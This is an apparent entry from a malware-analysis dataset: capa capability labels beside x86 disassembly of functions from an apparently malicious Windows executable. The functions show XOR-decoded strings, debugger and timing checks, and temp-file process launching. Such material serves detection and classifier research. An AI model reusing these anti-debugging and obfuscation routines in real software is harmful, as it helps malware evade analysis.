joyce8/EMBER2024-capa huggingface dataset:
Function at 0x32431284
Capabilities:
Check os version
Encode data using xor
Get common file path
Get disk information
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
push ebx
push esi
push edi
push 0x24
pop ecx
xor eax, eax
lea edi, [ebp - 0x94]
mov dword [ebp - 0x98], 0x94
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x98]
push eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
cmp dword [ebp - 0x88], 2
sete al
test al, al
mov byte [0x3243a678], al
je 0x324312d9
cmp dword [ebp - 0x94], 5
jb 0x324312d9
mov byte [0x3243a67c], 1
jmp 0x324312e0
and byte [0x3243a67c], 0
call fcn.3243843a
push eax
call fcn.3243832c
mov dword [esp], 0x8003
call dword [sym.imp.KERNEL32.DLL_SetErrorMode]
push dword [str.PeC2]
call dword [sym.imp.KERNEL32.DLL_SetUnhandledExceptionFilter]
call fcn.3243512c
push dword [ebp + 8]
pop eax
mov ebx, 0x104
push ebx
push dword [0x3243907c]
mov eax, dword [eax + 2]
mov dword [0x3243a680], eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp - 4]
mov dword [ebp + 8], eax
push 0x324390dc
pop esi
mov edi, dword [ebp + 8]
push 4
pop ecx
lodsb al, byte [esi]
xor al, 0x9f
sub al, 0xdc
stosb byte es:[edi], al
dec ecx
jne 0x32431339
mov al, byte [0x3243a898]
sub esi, esi
push esi
push esi
push esi
push esi
mov byte [ebp - 4], al
push dword [section..data]
push esi
lea eax, [ebp - 4]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetVolumeInformationA]
push dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
pop edi
push ebx
push dword [0x32439074]
push esi
call edi
push dword [0x32439074]
call fcn.324384a5
pop ecx
call fcn.3243612c
or eax, eax
je 0x3243139a
call fcn.32433158
test al, al
jne 0x3243145c
call fcn.32433ae8
lea eax, [ebp - 0x1a0]
push ebx
push eax
push dword [0x3243a9b8]
call edi
push esi
push esi
push 3
push esi
push 3
lea eax, [ebp - 0x1a0]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x324313ea
push dword [0x324390e8]
push dword [0x324390e0]
push dword [0x32439050]
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileTime]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
call fcn.32437de0
call fcn.324331c8
push esi
push 1
call fcn.32433dd8
cmp byte [0x3243a678], 0
jne 0x3243144a
push 0x18
pop eax
call fcn.32438510
mov dword [ebp + 8], esp
push dword [0x32439114]
pop esi
push dword [ebp + 8]
pop edi
mov ecx, 0x17
lodsb al, byte [esi]
sub al, 0x64
xor al, 0xdb
stosb byte es:[edi], al
dec ecx
jne 0x32431420
push 0
push dword [ebp + 8]
push dword [0x3243a9b8]
call fcn.32435458
push eax
pop esi
test esi, esi
je 0x3243144a
push 1
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push eax
call esi
call fcn.32433058
lea esp, [ebp - 0x1ac]
pop edi
pop esi
pop ebx
leave
ret 4
push esi
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x32431464
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
call fcn.32435c28
push 0x927c0
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x28]
mov dword [ebp - 8], eax
mov esi, dword [0x32439110]
push dword [ebp - 8]
pop edi
mov ecx, 0xf
lodsb al, byte [esi]
add al, 0x2d
sub al, 0x7a
stosb byte es:[edi], al
dec ecx
jne 0x32431492
lea eax, [ebp - 0x18]
mov dword [ebp - 8], eax
mov esi, 0x32439080
mov edi, dword [ebp - 8]
push 0xe
pop ecx
lodsb al, byte [esi]
xor al, 0x5d
sub al, 0x1d
stosb byte es:[edi], al
dec ecx
jne 0x324314ac
call fcn.3243843a
mov dword [ebp - 8], eax
lea eax, [ebp - 0x28]
push eax
call fcn.32435ecc
mov dword [0x3243a670], eax
lea eax, [ebp - 0x18]
push eax
call fcn.32435ecc
mov dword [0x3243a674], eax
call fcn.3243612c
test eax, eax
jne 0x324315d9
push 0x493e0
pop ebx
call fcn.324375e8
cmp dword [0x3243ab94], 0
je 0x324315d9
push ebx
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.3243612c
test eax, eax
jne 0x324315d9
push dword [0x3243ab94]
pop eax
push dword [eax + 0x17c]
pop edx
mov eax, dword [0x3243a674]
add edx, eax
mov ecx, dword [0x3243ab94]
push dword [ecx + 0x178]
pop esi
mov ecx, dword [0x3243a670]
add esi, ecx
cmp esi, edx
jbe 0x32431550
mov dword [ebp - 4], ecx
mov eax, dword [0x3243ab94]
mov esi, dword [eax + 0x178]
jmp 0x32431560
mov dword [ebp - 4], eax
push dword [0x3243ab94]
pop eax
mov esi, dword [eax + 0x17c]
call fcn.3243843a
mov edi, eax
cmp dword [ebp - 8], edi
jae 0x32431595
cmp edi, dword [ebp - 4]
jbe 0x32431595
sub eax, dword [ebp - 4]
cmp esi, eax
jbe 0x3243158e
sub esi, edi
add esi, dword [ebp - 4]
mov eax, esi
imul eax, eax, 0x3e8
cmp eax, ebx
jb 0x3243158b
push ebx
pop eax
push eax
jmp 0x324315be
call fcn.32431860
jmp 0x324315c4
lea eax, [ebp - 0x18]
push edi
push eax
call fcn.32434908
or al, al
je 0x324315d9
lea eax, [ebp - 0x28]
push edi
push eax
call fcn.32434908
and al, al
je 0x324315d9
mov dword [0x3243a674], edi
mov dword [0x3243a670], edi
push ebx
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.3243843a
mov dword [ebp - 8], eax
call fcn.3243612c
test eax, eax
je 0x324314ec
pop edi
pop esi
pop ebx
leave
ret
Function at 0x324317d4
Capabilities:
Create thread
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
lea eax, [ebp - 4]
push edi
push eax
sub eax, eax
push eax
push eax
push dword [0x32439020]
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
Function at 0x32431bd0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 0xc
pop eax
call fcn.32438510
mov dword [ebp - 4], esp
mov esi, dword [0x32439034]
mov edi, dword [ebp - 4]
mov ecx, 9
lodsb al, byte [esi]
sub al, 0xef
add al, 0x46
stosb byte es:[edi], al
dec ecx
jne 0x32431bef
push dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
pop esi
push esp
call esi
mov dword [0x3243a9b8], eax
call fcn.32431150
push 0
push eax
pop edi
call esi
push eax
pop esi
push esi
call fcn.32431284
push edi
push dword [str._feC2bombibom]
push esi
call fcn.324364ac
test al, al
jne 0x32431c30
call fcn.324317d4
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x324321e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
push esi
push edi
and dword [ebx], 0
and dword [ebx + 4], 0
and byte [ebx + 8], 0
lea eax, [ebx + 0x10]
push eax
call fcn.3243461c
push 0x10
mov dword [ebx + 0xc], eax
pop eax
call fcn.32438510
mov dword [ebp - 4], esp
push dword [0x3243917c]
pop esi
push dword [ebp - 4]
pop edi
push 0x10
pop ecx
lodsb al, byte [esi]
xor al, 0x26
add al, 0x3d
stosb byte es:[edi], al
dec ecx
jne 0x32432219
push 0
push dword [ebp - 4]
push dword [ebx + 0xc]
call fcn.32435458
push 0x10
mov dword [ebx + 0x14], eax
pop eax
call fcn.32438510
mov dword [ebp - 4], esp
push dword [0x32439150]
pop esi
push dword [ebp - 4]
pop edi
mov ecx, 0x10
lodsb al, byte [esi]
sub al, 0x10
xor al, 0x75
stosb byte es:[edi], al
dec ecx
jne 0x3243224d
push 0
push dword [ebp - 4]
push dword [ebx + 0xc]
call fcn.32435458
push 0x18
mov dword [ebx + 0x18], eax
pop eax
call fcn.32438510
mov dword [ebp - 4], esp
mov esi, dword [0x32439194]
mov edi, dword [ebp - 4]
push 0x17
pop ecx
lodsb al, byte [esi]
xor al, 0x89
sub al, 0xe3
stosb byte es:[edi], al
dec ecx
jne 0x3243227d
push 0
push dword [ebp - 4]
push dword [ebx + 0xc]
call fcn.32435458
lea esp, [ebp - 0x10]
mov dword [ebx + 0x1c], eax
push ebx
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x32432d64
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push dword [ebp + 8]
pop eax
push ebx
push esi
push edi
push dword [eax + 0x24]
pop edi
xor esi, esi
push esi
lea eax, [ebp - 4]
push esi
push eax
push esi
mov dword [ebp - 4], esi
push dword [ebp + 0x10]
push esi
call edi
cmp eax, 0x25b
jne 0x32432e98
push dword [ebp - 4]
call fcn.32438354
pop ecx
mov ebx, eax
push esi
lea eax, [ebp - 4]
push esi
push eax
push ebx
mov dword [ebx], 0x6e8
push dword [ebp + 0x10]
push esi
call edi
or eax, eax
jne 0x32432e91
cmp byte [ebx + 0x3dd], al
je 0x32432e91
push 8
pop eax
call fcn.32438510
mov dword [ebp + 0x10], esp
mov esi, dword [0x324391e8]
mov edi, dword [ebp + 0x10]
push 7
pop ecx
lodsb al, byte [esi]
sub al, 0x62
xor al, 0x4a
stosb byte es:[edi], al
dec ecx
jne 0x32432dd9
lea eax, [ebx + 0x3cc]
push esp
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
or eax, eax
je 0x32432e28
push 8
pop eax
call fcn.32438510
mov dword [ebp + 0x10], esp
push dword [0x32439314]
pop esi
push dword [ebp + 0x10]
pop edi
push 6
pop ecx
lodsb al, byte [esi]
xor al, 0x80
sub al, 0x5c
stosb byte es:[edi], al
dec ecx
jne 0x32432e0d
lea eax, [ebx + 0x3cc]
push esp
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpiA]
and eax, eax
jne 0x32432e91
cmp byte [ebp + 0x14], 0
jne 0x32432e4d
lea eax, [ebx + 0x3dd]
push eax
lea eax, [ebx + 0x3cc]
push eax
mov eax, dword [ebp + 8]
push dword [eax + 0x34]
call fcn.32431dd8
and eax, eax
je 0x32432e91
jmp 0x32432e8c
push dword [ebx + 4]
pop eax
lea edi, [ebx + 0x1b]
mov dword [ebp + 0x14], eax
push dword [ebp + 8]
pop eax
mov esi, dword [eax + 0x34]
lea eax, [ebx + 0x3dd]
push eax
lea eax, [ebx + 0x3cc]
push eax
push esi
call fcn.32431dd8
or eax, eax
mov dword [ebp + 8], eax
je 0x32432e91
and edi, edi
je 0x32432e8c
push dword [ebp + 0x14]
push edi
push eax
push esi
call fcn.32431e40
push dword [ebp + 8]
pop eax
mov ecx, dword [ebp + 0xc]
add dword [eax], ecx
push ebx
call fcn.32438368
pop ecx
lea esp, [ebp - 0x10]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x32432ea4
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
push ebx
push esi
push edi
push dword [ebp + 8]
pop edi
push dword [ebp + 0xc]
call dword [edi + 0x20]
and eax, eax
jne 0x32432f12
mov esi, dword [sym.imp.KERNEL32.DLL_GetTickCount]
call esi
push eax
pop ebx
add ebx, 0x2710
call esi
cmp ebx, eax
ja 0x32432f12
push dword [edi + 0x1c]
pop eax
mov dword [ebp + 8], eax
push 0x27
sub eax, eax
pop ecx
lea edi, [ebp - 0x9c]
mov dword [ebp - 0xa0], 0xa0
rep stosd dword es:[edi], eax
lea eax, [ebp - 0xa0]
push eax
push dword [ebp + 0xc]
call dword [ebp + 8]
cmp eax, 6
je 0x32432f12
push 0x32
call dword [sym.imp.KERNEL32.DLL_Sleep]
call esi
cmp ebx, eax
jbe 0x32432edb
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x32432f20
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push esi
lea eax, [ebp - 0x214]
push edi
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
push 0xc
pop eax
call fcn.32438510
mov dword [ebp - 4], esp
mov esi, dword [str.j__j:c9]
mov edi, dword [ebp - 4]
mov ecx, 0xa
lodsb al, byte [esi]
xor al, 0x6a
sub al, 0xdb
stosb byte es:[edi], al
dec ecx
jne 0x32432f56
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x10c]
push dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x10c]
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
call fcn.324362b0
and al, al
je 0x32432fae
lea eax, [ebp - 0x10c]
push eax
call fcn.32435318
test al, al
je 0x32432fae
mov al, 1
jmp 0x32432fb0
xor al, al
lea esp, [ebp - 0x21c]
pop edi
pop esi
leave
ret 8
Function at 0x32433a58
Capabilities:
Encode data using xor

Disassembly:
push ebp
push esp
pop ebp
push ecx
push ecx
and byte [ebp - 1], 0
push ebx
push esi
push edi
push 0xc
pop eax
call fcn.32438510
mov dword [ebp - 8], esp
push dword [0x32439554]
pop esi
mov edi, dword [ebp - 8]
mov ecx, 9
lodsb al, byte [esi]
sub al, 0xd9
xor al, 0x99
stosb byte es:[edi], al
dec ecx
jne 0x32433a7e
push esp
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push 0x1c
mov ebx, eax
pop eax
call fcn.32438510
mov dword [ebp - 8], esp
mov esi, dword [0x32439524]
mov edi, dword [ebp - 8]
push 0x1a
pop ecx
lodsb al, byte [esi]
add al, 0xdd
xor al, 0xa7
stosb byte es:[edi], al
dec ecx
jne 0x32433aa7
push 0
push dword [ebp - 8]
push ebx
call fcn.32435458
and eax, eax
je 0x32433ad5
lea ecx, [ebp - 8]
push 0
push ecx
call eax
or eax, eax
je 0x32433ad5
test byte [ebp - 8], 0x20
jne 0x32433ad5
mov byte [ebp - 1], 1
push ebx
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov al, byte [ebp - 1]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x32433ae8
Capabilities:
Check if file exists
Get file size
Terminate process

Disassembly:
push dword [0x324395cc]
call fcn.32433f10
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
nop
Function at 0x32433dd8
Capabilities:
Get file attributes
Get file size
Set file attributes

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x108
push ebx
push esi
mov esi, dword [ebp + 0xc]
sub ebx, ebx
cmp esi, ebx
jne 0x32433df7
mov dword [ebp + 0xc], 0x3243a688
push dword [ebp + 0xc]
pop esi
cmp byte [0x3243a678], bl
je 0x32433e57
push 0x3a
push esi
call fcn.32438270
pop ecx
cmp eax, ebx
pop ecx
je 0x32433e57
cmp byte [eax + 1], 0x5c
je 0x32433e57
sub eax, esi
inc eax
push eax
lea eax, [ebp - 0x108]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpynA]
cmp byte [ebp + 8], bl
jne 0x32433e4c
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
and al, 0xfe
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
jmp 0x32433f08
lea eax, [ebp - 0x108]
push 1
push eax
jmp 0x32433e83
cmp byte [ebp + 8], bl
je 0x32433e72
push 1
push esi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push esi
push 0x120089
call fcn.32434058
jmp 0x32433e89
push esi
push 0x1f01ff
call fcn.32434058
push 0x80
push esi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
cmp byte [ebp + 8], bl
je 0x32433f08
push edi
push ebx
push ebx
push 3
push ebx
mov edi, 0x80000000
push 2
push edi
push esi
push dword [sym.imp.KERNEL32.DLL_CreateFileA]
pop esi
call esi
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x32433ebe
push ebx
push ebx
push 3
push ebx
push 3
push edi
push dword [ebp + 0xc]
call esi
mov dword [ebp + 8], eax
push dword [ebp + 0xc]
push ebx
call fcn.32434058
mov esi, dword [ebp + 8]
pop edi
cmp esi, 0xffffffff
je 0x32433f08
cmp byte [0x3243a678], bl
je 0x32433ee2
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
jmp 0x32433ee5
push 0x20
pop eax
push ebx
push eax
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_LockFile]
cmp dword [ebp + 0xc], 0x3243a688
jne 0x32433f08
cmp dword [0x324395c0], 0xffffffff
jne 0x32433f08
mov dword [0x324395c0], esi
pop esi
pop ebx
leave
ret 8
Function at 0x32433f10
Capabilities:
Encode data using xor
Get common file path
Set file attributes

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x414
push ebx
push esi
push edi
push dword [ebp + 8]
push 0x1f01ff
call fcn.32434058
push 0x80
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea eax, [ebp - 0x214]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
push 0xc
pop eax
call fcn.32438510
mov dword [ebp - 4], esp
push dword [0x32439b8c]
pop esi
push dword [ebp - 4]
pop edi
mov ecx, 0xb
lodsb al, byte [esi]
sub al, 0x46
add al, 0xa9
stosb byte es:[edi], al
dec ecx
jne 0x32433f64
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
push dword [sym.imp.USER32.dll_wsprintfA]
pop ebx
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x10c]
push dword [ebp - 4]
push eax
call ebx
add esp, 0x10
push 0x2c
pop eax
call fcn.32438510
mov dword [ebp - 4], esp
mov esi, dword [0x3243968c]
mov edi, dword [ebp - 4]
push 0x2a
pop ecx
lodsb al, byte [esi]
add al, 0x4f
sub al, 0x40
stosb byte es:[edi], al
dec ecx
jne 0x32433fa8
push 0
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
lea eax, [ebp - 0x10c]
push dword [ebp - 4]
push eax
call fcn.324362b0
and al, al
je 0x32434049
cmp byte [0x3243a678], 0
je 0x32434001
push 0x18
pop eax
call fcn.32438510
mov dword [ebp - 4], esp
mov esi, dword [0x32439840]
mov edi, dword [ebp - 4]
mov ecx, 0x17
lodsb al, byte [esi]
add al, 0xae
sub al, 0x9a
stosb byte es:[edi], al
dec ecx
jne 0x32433ff4
push esp
pop eax
jmp 0x32434024
push 0x1c
pop eax
call fcn.32438510
mov dword [ebp - 4], esp
mov esi, dword [0x324396e0]
push dword [ebp - 4]
pop edi
push 0x19
pop ecx
lodsb al, byte [esi]
xor al, 0x11
sub al, 0x96
stosb byte es:[edi], al
dec ecx
jne 0x32434019
push esp
pop eax
push dword [ebp + 8]
lea ecx, [ebp - 0x10c]
push ecx
push eax
lea eax, [ebp - 0x414]
push eax
call ebx
add esp, 0x10
lea eax, [ebp - 0x414]
push 1
push eax
call fcn.3243432c
lea esp, [ebp - 0x420]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x32434148
Capabilities:
Encode data using xor

Disassembly:
push ebp
push esp
pop ebp
push 0xffffffffffffffff
push dword [0x3243986c]
push 0x32438638
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
sub ebx, ebx
cmp byte [0x3243a678], bl
je 0x324341a0
push 0xc
pop eax
call fcn.32438510
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x24], esp
mov esi, str.760__28
push dword [ebp - 0x24]
pop edi
push 9
pop ecx
lodsb al, byte [esi]
sub al, 0xf7
add al, 0x33
stosb byte es:[edi], al
dec ecx
jne 0x32434193
push esp
pop eax
jmp 0x324341c5
push 4
pop eax
call fcn.32438510
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x2c], esp
mov esi, dword [0x324394c0]
mov edi, dword [ebp - 0x2c]
push 4
pop ecx
lodsb al, byte [esi]
add al, 0xa4
xor al, 0x4a
stosb byte es:[edi], al
dec ecx
jne 0x324341ba
mov eax, esp
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 0xc
pop eax
call fcn.32438510
mov dword [ebp - 0x18], esp
push esp
pop edx
mov dword [ebp - 0x34], edx
mov esi, dword [0x32439ea8]
mov edi, dword [ebp - 0x34]
push 0xa
pop ecx
lodsb al, byte [esi]
add al, 0x5d
xor al, 0x86
stosb byte es:[edi], al
dec ecx
jne 0x324341ee
mov dword [ebp - 0x38], edx
push ebx
push edx
push dword [ebp - 0x1c]
call fcn.32435458
mov dword [ebp - 0x20], eax
cmp eax, ebx
je 0x32434222
sub ecx, ecx
cmp byte [0x3243a678], bl
sete cl
push ecx
call eax
jmp 0x32434222
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
lea esp, [ebp - 0x44]
push dword [ebp - 0x10]
pop ecx
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x32434244
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0xc
push ebx
push esi
push edi
sub ebx, ebx
push dword [ebp + 0xc]
mov byte [ebp - 1], bl
push ebx
call fcn.32433dd8
push dword [ebp + 8]
push 0x120089
call fcn.32434058
push ebx
mov esi, dword [sym.imp.KERNEL32.DLL_CreateFileA]
push ebx
push 3
push ebx
mov edi, 0x80000000
push 2
push edi
push dword [ebp + 8]
call esi
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
jne 0x32434298
push ebx
push ebx
push 3
push ebx
push 3
push edi
push dword [ebp + 8]
call esi
mov dword [ebp - 8], eax
cmp byte [ebp + 0x10], bl
je 0x324342a6
push dword [ebp + 8]
push ebx
call fcn.32434058
cmp dword [ebp - 8], 0xffffffff
je 0x32434322
push ebx
mov dword [ebp + 0x10], ebx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push eax
pop esi
call fcn.32438336
cdq
push 0x3a98
pop ecx
idiv ecx
mov dword [ebp + 8], edx
lea eax, [esi + edx]
push eax
mov dword [ebp - 0xc], eax
call fcn.32438354
pop ecx
push eax
pop edi
lea eax, [ebp + 0x10]
push ebx
push eax
push esi
push edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x3243432c
Capabilities:
Create process on windows

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x54
push edi
push 0x10
pop ecx
sub eax, eax
lea edi, [ebp - 0x50]
mov dword [ebp - 0x54], 0x44
rep stosd dword es:[edi], eax
sub ecx, ecx
lea edi, [ebp - 0xc]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x28], 1
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov al, byte [ebp + 0xc]
neg al
sbb eax, eax
and al, 0xfb
add eax, 5
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push dword [ebp + 8]
push ecx
call dword [0x32431044]
test eax, eax
pop edi
je 0x32434399
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp - 0xc]
call esi
push dword [ebp - 0x10]
call esi
mov al, 1
pop esi
jmp 0x3243439b
sub al, al
leave
ret 8

Function at 0x3243456c
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0x14], ebx
push esi
push edi
mov dword [ebp - 4], ebx
jne 0x324345a4
push 0x20
pop eax
call fcn.32438510
push esp
pop edx
mov dword [ebp + 0x14], edx
mov esi, dword [0x32439e98]
push dword [ebp + 0x14]
pop edi
push 0x20
pop ecx
lodsb al, byte [esi]
add al, 0x8c
xor al, 0xa8
stosb byte es:[edi], al
dec ecx
jne 0x32434598
mov dword [ebp + 0x14], edx
mov edi, dword [ebp + 0x18]
cmp edi, ebx
push edi
pop esi
jne 0x324345b2
mov esi, 0x80000001
cmp edi, ebx
mov eax, edi
jne 0x324345bd
mov eax, 0x80000002
cmp esi, eax
ja 0x3243460e
lea eax, [ebp - 8]
push eax
push 0x20019
push ebx
push dword [ebp + 0x14]
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x32434608
mov eax, dword [ebp + 0x10]
mov dword [ebp + 0x18], eax
lea eax, [ebp + 0x18]
push eax
push dword [ebp + 0xc]
push ebx
push ebx
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x324345ff
push dword [ebp + 0x18]
pop eax
mov dword [ebp - 4], eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc esi
cmp dword [ebp - 4], ebx
je 0x324345b2
push dword [ebp - 4]
pop eax
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
leave
ret 0x14
Function at 0x3243512c
Capabilities:
Check for peb beingdebugged flag
Terminate process

Disassembly:
push ebp
push esp
pop ebp
push 0xffffffffffffffff
push dword [0x32439b54]
push dword [0x3243992c]
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x38
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
mov dword [ebp - 0x1c], 1
push dword [sym.imp.KERNEL32.DLL_GetTickCount]
pop esi
call esi
mov dword [ebp - 0x20], eax
push 0x80000000
pop ebx
call esi
sub eax, dword [ebp - 0x20]
cmp eax, 0x33c
jae 0x32435193
call fcn.32433a4c
mov dword [ebp - 0x24], eax
cmp eax, 0xd0000000
ja 0x32435171
cmp eax, ebx
jb 0x32435171
dec dword [ebp - 0x1c]
cmp byte [0x3243a678], 0
je 0x324351ab
xor ecx, ecx
push dword fs:[ecx + 0x30]
pop eax
mov cl, byte [eax + 2]
add dword [ebp - 0x1c], ecx
jmp 0x324351b6
push dword fs:[0x20]
pop eax
add dword [ebp - 0x1c], eax
push dword [ebp - 0x20]
pop eax
xor edx, edx
div dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push 1
pop eax
ret

Function at 0x32435318
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
cmp byte [0x3243a678], 0
push esi
push edi
je 0x32435393
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0x20
pop eax
call fcn.32438510
mov dword [ebp - 4], esp
push dword [0x32439700]
pop esi
push dword [ebp - 4]
pop edi
push 0x1f
pop ecx
lodsb al, byte [esi]
sub al, 0x6b
xor al, 7
stosb byte es:[edi], al
dec ecx
jne 0x32435357
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x214]
push dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x214]
push 1
push eax
call fcn.3243432c
and al, al
je 0x32435393
mov al, 1
jmp 0x3243539d
push 0
push dword [ebp + 8]
call fcn.3243432c
lea esp, [ebp - 0x21c]
pop edi
pop esi
leave
ret 4